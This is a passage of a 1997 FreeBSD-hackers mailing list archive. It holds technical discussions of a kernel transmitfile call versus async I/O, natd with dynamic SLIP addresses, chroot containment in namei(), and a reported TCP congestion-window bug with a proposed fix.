very fast, but not terribly useful. :) This certainly maximizes both your criteria for kernel characteristics (and it also would probably meet very stringent reliability standards :). I happen to have more criteria than small and fast. Functions that can be executed without penalty in userland should be, those that are highly duplicated and pay an userland penalty deserve consideration for kernel inclusion, IMHO. -Chris From owner-freebsd-hackers Tue May 27 15:05:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA06487 for hackers-outgoing; Tue, 27 May 1997 15:05:37 -0700 (PDT) Received: from pluto.plutotech.com (root@pluto100.plutotech.com [206.168.67.137]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA06482 for ; Tue, 27 May 1997 15:05:33 -0700 (PDT) Received: from narnia.plutotech.com (narnia.plutotech.com [206.168.67.130]) by pluto.plutotech.com (8.8.5/8.8.5) with ESMTP id QAA08460; Tue, 27 May 1997 16:05:24 -0600 (MDT) Message-Id: <199705272205.QAA08460@pluto.plutotech.com> X-Mailer: exmh version 2.0beta 12/23/96 To: Christopher Sedore cc: "Ron G. Minnich" , FreeBSD-Hackers@FreeBSD.ORG Subject: Re: async socket stuff In-reply-to: Your message of "Tue, 27 May 1997 16:47:22 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 27 May 1997 17:03:00 -0600 From: "Justin T. Gibbs" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Now, in the case of a 10MB file, you've essentially saved 20MB worth of >memory bandwidth/time for transfer (since the data has to be copied into >user space on read, and back again on write), plus 160*2=320-1=319 system >calls avoided. If you use an async I/O facility, there is no additional copy since you've pre-allocated the buffer and I/O from the file goes directly into and out of your user space buffer. Since your main complaint seems to be memory bandwidth and the system call overhead is really quite small (FreeBSD can do thousands of system calls a second on a P90), I think that async I/O would completely solve your problem. There is already work underway to bring async I/O to FreeBSD. -- Justin T. Gibbs =========================================== FreeBSD: Turning PCs into workstations =========================================== From owner-freebsd-hackers Tue May 27 15:17:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA07031 for hackers-outgoing; Tue, 27 May 1997 15:17:15 -0700 (PDT) Received: from cypher.net (black@zen.pratt.edu [205.232.115.155]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA07023 for ; Tue, 27 May 1997 15:17:06 -0700 (PDT) Received: (from black@localhost) by cypher.net (8.8.5/8.7.1) id SAA06467; Tue, 27 May 1997 18:16:33 -0400 Date: Tue, 27 May 1997 18:16:31 -0400 (EDT) From: Ben Black To: Christopher Sedore cc: Ruslan Shevchenko , FreeBSD-Hackers@FreeBSD.ORG Subject: Re: async socket stuff In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > > how do you spell kludge? > > Why does this qualify as a kludge (and a better question might be "how do > you pronounce kludge?" :). > it is a kludge because it is in there for EXACTLY one purpose. you couldn't use the facilities for any but transferring a file from one host to another. it is only there to get around a general problem for a specific application. that's a kludge. > It seems to me that a good test set for what facilities should be in the > kernel might include: > > 1. can the kernel do it significantly more efficiently that the user? and if not, is that because the kernel needs to be reworked rather than hacked up to solve a single problem. > 2. can it be implemented in userland and if so, is it likely to be highly > duplicated code? and if it can be implemented well at user level and is duplicated code, why is that code in the kernel at all? > 3. what is the expense to the kernel of doing this? > > > The answer to #1 is yes, much more efficiently. because there is no *general* facility for doing high-speed, low-latency networking. this does not argue for the nastiness you describe in NT. > The answer to #2 is yes, it can, but it is very likely to be duplicated see above. > The answer to #3 is a maybe 1k of code (at most) and no mods to critical > performance sections in the kernel. > 1k of application specific code. sounds like a waste. > #2 is really a test question for a library rather than the kernel, but, > where applicable, it should also be applied to kernel calls. > > Maybe not, but I don't think I could even get my code to run under FBSD > without some non-trivial rearrangement because of facilities that don't > exist or are costly to use (I'm not happy about the idea of checking 800 > connections with an FD_ISSET() loop). > so use 800 threads with a single fd each. > > You can shrink the kernel continuously, down to something like: > > kernel: > jmp kernel > > and it will be very fast, but not terribly useful. :) This certainly > maximizes both your criteria for kernel characteristics (and it also would > probably meet very stringent reliability standards :). I happen to have > more criteria than small and fast. > > Functions that can be executed without penalty in userland should be, > those that are highly duplicated and pay an userland penalty deserve > consideration for kernel inclusion, IMHO. > and you have presented no evidence that it needs to be in the kernel. i have suggested fbufs and various eros techniques while you have just listed why *something* is needed. it *can* be done cleanly and quickly assuming proper kernel support. adding an application specific system call to the kernel is just a bad idea. b3n From owner-freebsd-hackers Tue May 27 15:26:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA07320 for hackers-outgoing; Tue, 27 May 1997 15:26:15 -0700 (PDT) Received: from cypher.net (black@zen.pratt.edu [205.232.115.155]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA07315 for ; Tue, 27 May 1997 15:26:13 -0700 (PDT) Received: (from black@localhost) by cypher.net (8.8.5/8.7.1) id SAA06653; Tue, 27 May 1997 18:25:43 -0400 Date: Tue, 27 May 1997 18:25:41 -0400 (EDT) From: Ben Black To: Christopher Sedore cc: Ruslan Shevchenko , FreeBSD-Hackers@FreeBSD.ORG Subject: Re: async socket stuff In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk http://www.ccrc.wustl.edu/~chuck/wucs94-34/wucs.html this gives a very clear duscussion of the problems at hand and one possible solution. can we stop hearing about the special purpose hack in NT now? you see, there is this process called Design which microsoft never seems to learn. adding constantly to their APIs to fix special problems is typical of them. (more references can be provided if you are still locked into the M$ kludge mentality) b3n From owner-freebsd-hackers Tue May 27 15:50:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA08547 for hackers-outgoing; Tue, 27 May 1997 15:50:41 -0700 (PDT) Received: from dg-rtp.dg.com (dg-rtp.rtp.dg.com [128.222.1.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id PAA08541 for ; Tue, 27 May 1997 15:50:37 -0700 (PDT) Received: by dg-rtp.dg.com (5.4R3.10/dg-rtp-v02) id AA12001; Tue, 27 May 1997 18:50:03 -0400 Received: from ponds by dg-rtp.dg.com.rtp.dg.com; Tue, 27 May 1997 18:50 EDT Received: from lakes.water.net (lakes [10.0.0.3]) by ponds.water.net (8.8.5/8.7.3) with ESMTP id QAA25816; Tue, 27 May 1997 16:38:59 -0400 (EDT) Received: (from rivers@localhost) by lakes.water.net (8.8.5/8.6.9) id QAA03010; Tue, 27 May 1997 16:46:18 -0400 (EDT) Date: Tue, 27 May 1997 16:46:18 -0400 (EDT) From: Thomas David Rivers Message-Id: <199705272046.QAA03010@lakes.water.net> To: ponds!enteract.com!mrfoine, ponds!lakes.water.net!rivers Subject: Re: natd & multiple sl0 ifconfigs... Cc: ponds!freefall.cdrom.com!freebsd-hackers Content-Type: text Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Wayne Baety writes: > > > > # > > # Do 'natd' style diversion.. > > # > > ipfw -f flush > > ipfw -f add divert 32000 ip from any to any via sl0 > > ipfw -f add pass ip from any to any > > > > > > > > As I understood the man page for natd - the -dynamic flag will cause > > natd to "watch" the interface, and make appropriate adjustments should > > the IP change, etc... but - it doesn't seem to be doing so. > > > > Does anyone have any experience/thoughts on this? > Yeah I had a similar problem...natd would use the old IP address even when > i changed the ifs address....so what i did was turned dynamic off and used > pppd's ip-up and ip-down scripts to kill and restart natd... (this > unfortunately causes a short delay between invocations, but i guess i can > live with this for now) > > > Wayne > > PS. Scripts attached. > That's a really good idea - I hadn't thought of it. Unfortunately, I'm not using PPP; I'm using SL/IP (which is what makes natd so nice...) However, I think I can use the same idea in the SL/IP-connecting scripts I have (kill natd and restart it.) - Thanks - - Dave R. - From owner-freebsd-hackers Tue May 27 16:28:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA09812 for hackers-outgoing; Tue, 27 May 1997 16:28:21 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA09806 for ; Tue, 27 May 1997 16:28:16 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id IAA04503; Wed, 28 May 1997 08:58:06 +0930 (CST) From: Michael Smith Message-Id: <199705272328.IAA04503@genesis.atrad.adelaide.edu.au> Subject: Re: Experience with Network Computers ? In-Reply-To: <199705271803.LAA21619@lestat.nas.nasa.gov> from Jason Thorpe at "May 27, 97 11:03:37 am" To: thorpej@nas.nasa.gov Date: Wed, 28 May 1997 08:58:05 +0930 (CST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Jason Thorpe stands accused of saying: > On Tue, 27 May 1997 10:01:30 -0700 > Julian Elischer wrote: > > > I've heard that the OS on NCs is NetBSD.. > > might just be a rumour though.. > > That's a fairly correct rumor. (It's fairly public knowledge, actually.) Which NC's? The DNA (a thoroughly delectable device) comes (will come?) with a NetBSD port, but is Oracle's NC Access just an embedded NetBSD? That would be So Very Nice. What about other NCs like the IBM and Sun offerings? > Jason R. Thorpe thorpej@nas.nasa.gov -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Tue May 27 17:32:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA11733 for hackers-outgoing; Tue, 27 May 1997 17:32:25 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id RAA11728 for ; Tue, 27 May 1997 17:32:22 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id RAA00769; Tue, 27 May 1997 17:31:27 -0700 From: Terry Lambert Message-Id: <199705280031.RAA00769@phaeton.artisoft.com> Subject: Re: Correct way to chroot for shell account users? To: peter@grendel.IAEhv.nl (Peter Korsten) Date: Tue, 27 May 1997 17:31:27 -0700 (MST) Cc: terry@lambert.org, hackers@FreeBSD.ORG In-Reply-To: <19970527233812.31278@hw.nl> from "Peter Korsten" at May 27, 97 11:38:12 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > I don't think you can build a real shell (like sh or csh) and have > > > it run safely inside a chroot environment. Someone (as a matter of > > > fact, the FreeBSD security officer :) ) showed me how to break out > > > of a chroot environment with a simple 'ln' or something like that. > > > > Actually, this problem has to do with namei() and the use of NULL > > to indicate a non-chroot struct file * for the current directory > > for the process. > > No, it really was with some simple /bin commands. No structures > or null pointers were mentoined. You can't get out of a chroot environemnt if namei() won't let you. Hard links aren't allowed on directories, so the only way to lookup out of the chroot'ed hierachy is: 1) fchdir() ...this is supposed to work this way 2) broken namei() symlink and/or ".." traversal behaviour The problem is that namei() is letting you out when it should not be. The implementation detail is the symbolic link rerooting which occurs because of the root dir specification of "null" not being relative to the location. If, on fork(), you define the root dir for all processes to be inherited from the parent, and then initialize init to point at the vnode for "/" instead of NULL, the problem goes away. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Tue May 27 17:36:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA11956 for hackers-outgoing; Tue, 27 May 1997 17:36:21 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id RAA11951 for ; Tue, 27 May 1997 17:36:15 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id RAA00781; Tue, 27 May 1997 17:34:30 -0700 From: Terry Lambert Message-Id: <199705280034.RAA00781@phaeton.artisoft.com> Subject: Re: async socket stuff To: black@zen.cypher.net (Ben Black) Date: Tue, 27 May 1997 17:34:30 -0700 (MST) Cc: cmsedore@mailbox.syr.edu, rssh@cki.ipri.kiev.ua, FreeBSD-Hackers@FreeBSD.ORG In-Reply-To: from "Ben Black" at May 27, 97 06:16:31 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > how do you spell kludge? > > > > Why does this qualify as a kludge (and a better question might be "how do > > you pronounce kludge?" :). > > it is a kludge because it is in there for EXACTLY one purpose. you > couldn't use the facilities for any but transferring a file from one host > to another. it is only there to get around a general problem for a > specific application. that's a kludge. It's not generally useful, either. For instance, for POP3 and SMTP mail processing, "." quoting must take place. You have to adulterate the RFC's and *store* the data quoted (assuming that it will be going out on the same type of, or similar, transport it came in on) if you wish to use this facility for, for instance, POP3 lookup or SMTP forwarding. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Tue May 27 17:39:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA12108 for hackers-outgoing; Tue, 27 May 1997 17:39:19 -0700 (PDT) Received: from cypher.net (black@zen.pratt.edu [205.232.115.155]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA12084 for ; Tue, 27 May 1997 17:39:13 -0700 (PDT) Received: (from black@localhost) by cypher.net (8.8.5/8.7.1) id UAA09050; Tue, 27 May 1997 20:38:33 -0400 Date: Tue, 27 May 1997 20:38:31 -0400 (EDT) From: Ben Black To: Terry Lambert cc: cmsedore@mailbox.syr.edu, rssh@cki.ipri.kiev.ua, FreeBSD-Hackers@FreeBSD.ORG Subject: Re: async socket stuff In-Reply-To: <199705280034.RAA00781@phaeton.artisoft.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > It's not generally useful, either. For instance, for POP3 and SMTP > mail processing, "." quoting must take place. You have to adulterate > the RFC's and *store* the data quoted (assuming that it will be going > out on the same type of, or similar, transport it came in on) if you > wish to use this facility for, for instance, POP3 lookup or SMTP > forwarding. > i guess i wasn't forceful enough in my belief that it was a far too specialized thing to put in the kernel. i think i handled it in later posts, but thanks for the excellent example. b3n From owner-freebsd-hackers Tue May 27 17:43:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA12395 for hackers-outgoing; Tue, 27 May 1997 17:43:30 -0700 (PDT) Received: from bitbox.follo.net (bitbox.follo.net [194.198.43.36]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA12390 for ; Tue, 27 May 1997 17:43:26 -0700 (PDT) Received: (from eivind@localhost) by bitbox.follo.net (8.7.6/8.7.3) id CAA01172; Wed, 28 May 1997 02:43:07 +0200 (MET DST) Date: Wed, 28 May 1997 02:43:07 +0200 (MET DST) Message-Id: <199705280043.CAA01172@bitbox.follo.net> From: Eivind Eklund To: "Jordan K. Hubbard" CC: hackers@FreeBSD.ORG In-reply-to: "Jordan K. Hubbard"'s message of Tue, 27 May 1997 12:11:01 -0700 Subject: Re: FreeBSD CVS Tree References: <19970527193602.UK60863@uriah.heep.sax.de> <27519.864760261@time.cdrom.com> Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Well, and more to the point, it's only on the SNAPshot CDs that I can > actually FIT a CVS tree anymore. :-( > > The distfiles for the ports collection eat all of that space on the > 2nd CD of the "mainline" CD releases, so I can't put a CVS there (as > much as I'd like to). How about a compressed CVS tree, then? (Working until the next 50 ports are added, perhaps...) Eivind. From owner-freebsd-hackers Tue May 27 17:59:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA13177 for hackers-outgoing; Tue, 27 May 1997 17:59:53 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA13172 for ; Tue, 27 May 1997 17:59:50 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost [127.0.0.1]) by time.cdrom.com (8.8.5/8.6.9) with ESMTP id RAA13555; Tue, 27 May 1997 17:59:46 -0700 (PDT) To: Eivind Eklund cc: hackers@FreeBSD.ORG Subject: Re: FreeBSD CVS Tree In-reply-to: Your message of "Wed, 28 May 1997 02:43:07 +0200." <199705280043.CAA01172@bitbox.follo.net> Date: Tue, 27 May 1997 17:59:46 -0700 Message-ID: <13551.864781186@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > The distfiles for the ports collection eat all of that space on the > > 2nd CD of the "mainline" CD releases, so I can't put a CVS there (as > > much as I'd like to). > > How about a compressed CVS tree, then? (Working until the next 50 > ports are added, perhaps...) I'm already removing distfiles to make them fit - I'm afraid that it's not going to happen until I manage to convince WC to go to a 4 CD set. Jordan From owner-freebsd-hackers Tue May 27 18:22:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA14111 for hackers-outgoing; Tue, 27 May 1997 18:22:24 -0700 (PDT) Received: from obiwan.psinet.net.au (obiwan.psinet.net.au [203.19.28.59]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA14102 for ; Tue, 27 May 1997 18:22:14 -0700 (PDT) Received: from localhost (adrian@localhost) by obiwan.psinet.net.au (8.8.5/8.8.5) with SMTP id JAA04117; Wed, 28 May 1997 09:01:53 +0800 (WST) Date: Wed, 28 May 1997 09:01:53 +0800 (WST) From: Adrian Chadd To: "Daniel O'Callaghan" cc: Jim Bryant , freebsd-hackers@FreeBSD.ORG Subject: Re: ESCAPE! Florida Cruise/Vacation $598/4 People In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 22 May 1997, Daniel O'Callaghan wrote: > > > If people want me to post them as m4 or whatever files, tell me and I'll > > > do it. > > > > Yes, please. It will be looked upon much more favourably if the m4 bits > > are posted. Otherwise people would have to repatch each time they > > regenerated sendmail.cf. > > Any progress on the m4 files? Yes, and none. Firstly I have to get around to rearranging the order of the sendmail patch to make sure that the DNS test doesn't return OK and ignore the spam checks. Then I have to get / learn M4, and right now I'm swamped under doing evil accounting stuff at work. (Note I'm 4 days behind in freebsd email, and I haven't STARTED reading freebsd-hackers :-) I'll do it as soon as I have some time, which might be soonish. Cya, Adrian From owner-freebsd-hackers Tue May 27 18:40:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA14860 for hackers-outgoing; Tue, 27 May 1997 18:40:57 -0700 (PDT) Received: from mailhub.Stanford.EDU (mailhub.Stanford.EDU [36.21.0.128]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA14853; Tue, 27 May 1997 18:40:53 -0700 (PDT) Received: from tree1.Stanford.EDU (tree1.Stanford.EDU [36.83.0.36]) by mailhub.Stanford.EDU (8.8.5/8.8.5/L) with SMTP id SAA03517; Tue, 27 May 1997 18:40:51 -0700 (PDT) Newsgroups: comp.protocols.tcp-ip Date: Tue, 27 May 1997 18:40:08 -0700 (PDT) From: "Amr A. Awadallah" To: freebsd-bugs@FreeBSD.org cc: freebsd-hackers@FreeBSD.org, Chetan Rai , Nick W McKeown Subject: Bug in FreeBSD TCP Stack: False slow-start on duplicate ACKs Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Hi, We suspect we've found a bug in the TCP kernel that we are working with now (FreeBSD 2.1.6-RELEASE #32). The bug also exists in the TCP Illustrated Vol 2 page 973 (last paragraph), and in the online source for the current release of FreeBSD. We don't know if somebody has already reported the bug. The bug is as follows: after fast retransmission the current implementation increases cwnd by 1 segment for each duplicate ACK that comes in (following the original 3 dup-ACKs that caused the fast retransmission and recovery to be invoked). But if fast recovery is activated, cwnd is already above ssthresh (in fact it is ssthresh + 3 ) hence cwnd should be increased by one only for each window (congestion avoidance) rather than for each ACK (slow-start). We have traces of cwnd against time that show this bug explicitly. The bug appears as a burst of back-to-back segments and a sudden increase in the window size. We note that incrementing cwnd by 1 for each dup-ACK would be correct if fast recovery was not implemented (as in Tahoe). This is because without fast recovery the cwnd value would be dropped to 1 anyway, and doing slow-start (increment cwnd by 1 for each ACK) would be correct. But fast recovery is a part of Reno (4.3BSD onwards). Therefore the bug was probably caused by an oversight when fast recovery was added to the TCP kernel. We further stress that this bug adversely affects TCP and network performance. When TCP enters fast recovery, there has been a packet loss (probably due to congestion), and using slow start at this point leads to further congestion (given that cwnd is above ssthresh already). We checked the online source for the current release of FreeBSD at: ftp://ftp.FreeBSD.ORG/pub/FreeBSD/FreeBSD-current/src/sys/netinet/tcp_input.c and the bug is still there. The problem is in tcp_input.c (line 1284), function tcp_input(): } else if (tp->t_dupacks > tcprexmtthresh) { tp->snd_cwnd += tp->t_maxseg; (void) tcp_output(tp); goto drop; } Notice that a further problem is that cwnd is not even checked against TCP_MAXWIN. Thus for a large window with lots of duplicate ACKs cwnd may exceed TCP_MAXWIN ! The suggested fix for the bug is as follows: } else if (tp->t_dupacks > tcprexmtthresh) { tp->snd_cwnd = min( tp->snd_cwnd + (tp->t_maxseg * tp->t_maxseg / tp->snd_cwnd), TCP_MAXWIN<snd_scale ); (void) tcp_output(tp); goto drop; } We would truly appreciate it if somebody could tell us if this bug has been already reported. Thanks in advance, Amr A. Awadallah Chetan Rai ------------------------------------------------------------------------ Amr A. Awadallah, PhD Student, Computer Systems Laboratory, Electrical Engineering, Stanford University. For more info please refer to "http://www-leland.stanford.edu/~aaa" From owner-freebsd-hackers Tue May 27 20:01:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA18658 for hackers-outgoing; Tue, 27 May 1997 20:01:05 -0700 (PDT) Received: from mailer.syr.edu (mailer.syr.edu [128.230.20.20]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA18653 for ; Tue, 27 May 1997 20:01:03 -0700 (PDT) Received: from rodan.syr.edu by mailer.syr.edu (LSMTP for Windows NT v1.1a) with SMTP id <0.DAF56870@mailer.syr.edu>; Tue, 27 May 1997 23:01:05 -0400 Received: from localhost (cmsedore@localhost) by rodan.syr.edu (8.8.5/8.8.5) with SMTP id XAA12705; Tue, 27 May 1997 23:01:01 -0400 (EDT) X-Authentication-Warning: rodan.syr.edu: cmsedore owned process doing -bs Date: Tue, 27 May 1997 23:01:00 -0400 (EDT) From: Christopher Sedore X-Sender: cmsedore@rodan.syr.edu To: "Justin T. Gibbs" cc: "Ron G. Minnich" , FreeBSD-Hackers@FreeBSD.ORG Subject: Re: async socket stuff In-Reply-To: <199705272205.QAA08460@pluto.plutotech.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 27 May 1997, Justin T. Gibbs wrote: > >Now, in the case of a 10MB file, you've essentially saved 20MB worth of > >memory bandwidth/time for transfer (since the data has to be copied into > >user space on read, and back again on write), plus 160*2=320-1=319 system > >calls avoided. > > If you use an async I/O facility, there is no additional copy since you've > pre-allocated the buffer and I/O from the file goes directly into and out > of your user space buffer. Since your main complaint seems to be memory > bandwidth and the system call overhead is really quite small (FreeBSD can > do thousands of system calls a second on a P90), I think that async I/O > would completely solve your problem. There is already work underway to > bring async I/O to FreeBSD. I didn't know whether the async implementation would provide this or not. I still view too many syscalls as undesirable. This overhead seems a shame. -Chris From owner-freebsd-hackers Tue May 27 20:32:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA19976 for hackers-outgoing; Tue, 27 May 1997 20:32:58 -0700 (PDT) Received: from mailer.syr.edu (mailer.syr.edu [128.230.20.20]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA19971 for ; Tue, 27 May 1997 20:32:52 -0700 (PDT) Received: from rodan.syr.edu by mailer.syr.edu (LSMTP for Windows NT v1.1a) with SMTP id <0.4CDB22A0@mailer.syr.edu>; Tue, 27 May 1997 23:32:54 -0400 Received: from localhost (cmsedore@localhost) by rodan.syr.edu (8.8.5/8.8.5) with SMTP id XAA13909; Tue, 27 May 1997 23:32:41 -0400 (EDT) X-Authentication-Warning: rodan.syr.edu: cmsedore owned process doing -bs Date: Tue, 27 May 1997 23:32:39 -0400 (EDT) From: Christopher Sedore X-Sender: cmsedore@rodan.syr.edu To: Ben Black cc: Ruslan Shevchenko , FreeBSD-Hackers@FreeBSD.ORG Subject: Re: async socket stuff In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 27 May 1997, Ben Black wrote: > > > > > > how do you spell kludge? > > > > Why does this qualify as a kludge (and a better question might be "how do > > you pronounce kludge?" :). > > > > it is a kludge because it is in there for EXACTLY one purpose. you > couldn't use the facilities for any but transferring a file from one host > to another. it is only there to get around a general problem for a > specific application. that's a kludge. Gee, one of the most common applications for web servers, news servers, ftp servers. Probably a general problem that represents 60-80% of today's internet traffic. > > It seems to me that a good test set for what facilities should be in the > > kernel might include: > > > > 1. can the kernel do it significantly more efficiently that the user? > > and if not, is that because the kernel needs to be reworked rather than > hacked up to solve a single problem. If I understood the site you referenced in your other post, your alternative is putting an IO interpreter into the kernel? Heck, why not just put java in kernel space and write all the I/O in java. Sounds like a smaller, faster kernel to me. Next you'll want interpreters to handle complex permissions manipulation, and page remapping, etc. > > 2. can it be implemented in userland and if so, is it likely to be highly > > duplicated code? > > and if it can be implemented well at user level and is duplicated code, > why is that code in the kernel at all? > > > 3. what is the expense to the kernel of doing this? > > > > > > The answer to #1 is yes, much more efficiently. > > because there is no *general* facility for doing high-speed, low-latency > networking. this does not argue for the nastiness you describe in NT. I prefer simple, reliable system calls to interpreters in the kernel any day. I also prefer solutions that are likely to exist soon rather than ones which may not exist for months or years. > > The answer to #2 is yes, it can, but it is very likely to be duplicated > > see above. > > > The answer to #3 is a maybe 1k of code (at most) and no mods to critical > > performance sections in the kernel. > > > > 1k of application specific code. sounds like a waste. Not if that code can provide a non-trivial performance boost, *and* reduce application code sizes by roughly the same amount multiplied by the number of processes running using such facilities. > > #2 is really a test question for a library rather than the kernel, but, > > where applicable, it should also be applied to kernel calls. > > > > Maybe not, but I don't think I could even get my code to run under FBSD > > without some non-trivial rearrangement because of facilities that don't > > exist or are costly to use (I'm not happy about the idea of checking 800 > > connections with an FD_ISSET() loop). > > > > so use 800 threads with a single fd each. And I do this with FreeBSD using what, the thread package that implements it as a select() in the background? So, in addition to reimplementing the I/O subsystem, you'd like me to add multithreading, too? > > > > You can shrink the kernel continuously, down to something like: > > > > kernel: > > jmp kernel > > > > and it will be very fast, but not terribly useful. :) This certainly > > maximizes both your criteria for kernel characteristics (and it also would > > probably meet very stringent reliability standards :). I happen to have > > more criteria than small and fast. > > > > Functions that can be executed without penalty in userland should be, > > those that are highly duplicated and pay an userland penalty deserve > > consideration for kernel inclusion, IMHO. > > > > and you have presented no evidence that it needs to be in the kernel. i > have suggested fbufs and various eros techniques while you have just > listed why *something* is needed. > > it *can* be done cleanly and quickly assuming proper kernel support. > adding an application specific system call to the kernel is just a bad idea. So far the kernel possibilities you have presented are not implemented for FreeBSD and probably won't be any time in the near future. Some of them have problems that don't have clear win/win outcomes (like I/O interpreters in the kernel). I can certainly imagine that some or all of these may provide more optimal I/O services. I don't think that you've demonstrated that the net gain of providing all this generalized service will result in greater overall efficiency than implementing my single, clean optimization, since I'd argue that the majority use will be the simple case, and you'll have made that case less efficient than it might be otherwise. I think transmitfile has a win/win outcome--it is small and simple to implement in the kernel, and provides code reduction and a non-trivial performance boost on the userland side. -Chris From owner-freebsd-hackers Tue May 27 20:42:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA20243 for hackers-outgoing; Tue, 27 May 1997 20:42:17 -0700 (PDT) Received: from mailer.syr.edu (mailer.syr.edu [128.230.20.20]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA20235 for ; Tue, 27 May 1997 20:41:56 -0700 (PDT) Received: from rodan.syr.edu by mailer.syr.edu (LSMTP for Windows NT v1.1a) with SMTP id <0.91AE0AE0@mailer.syr.edu>; Tue, 27 May 1997 23:41:59 -0400 Received: from localhost (cmsedore@localhost) by rodan.syr.edu (8.8.5/8.8.5) with SMTP id XAA14169; Tue, 27 May 1997 23:41:54 -0400 (EDT) X-Authentication-Warning: rodan.syr.edu: cmsedore owned process doing -bs Date: Tue, 27 May 1997 23:41:54 -0400 (EDT) From: Christopher Sedore X-Sender: cmsedore@rodan.syr.edu To: 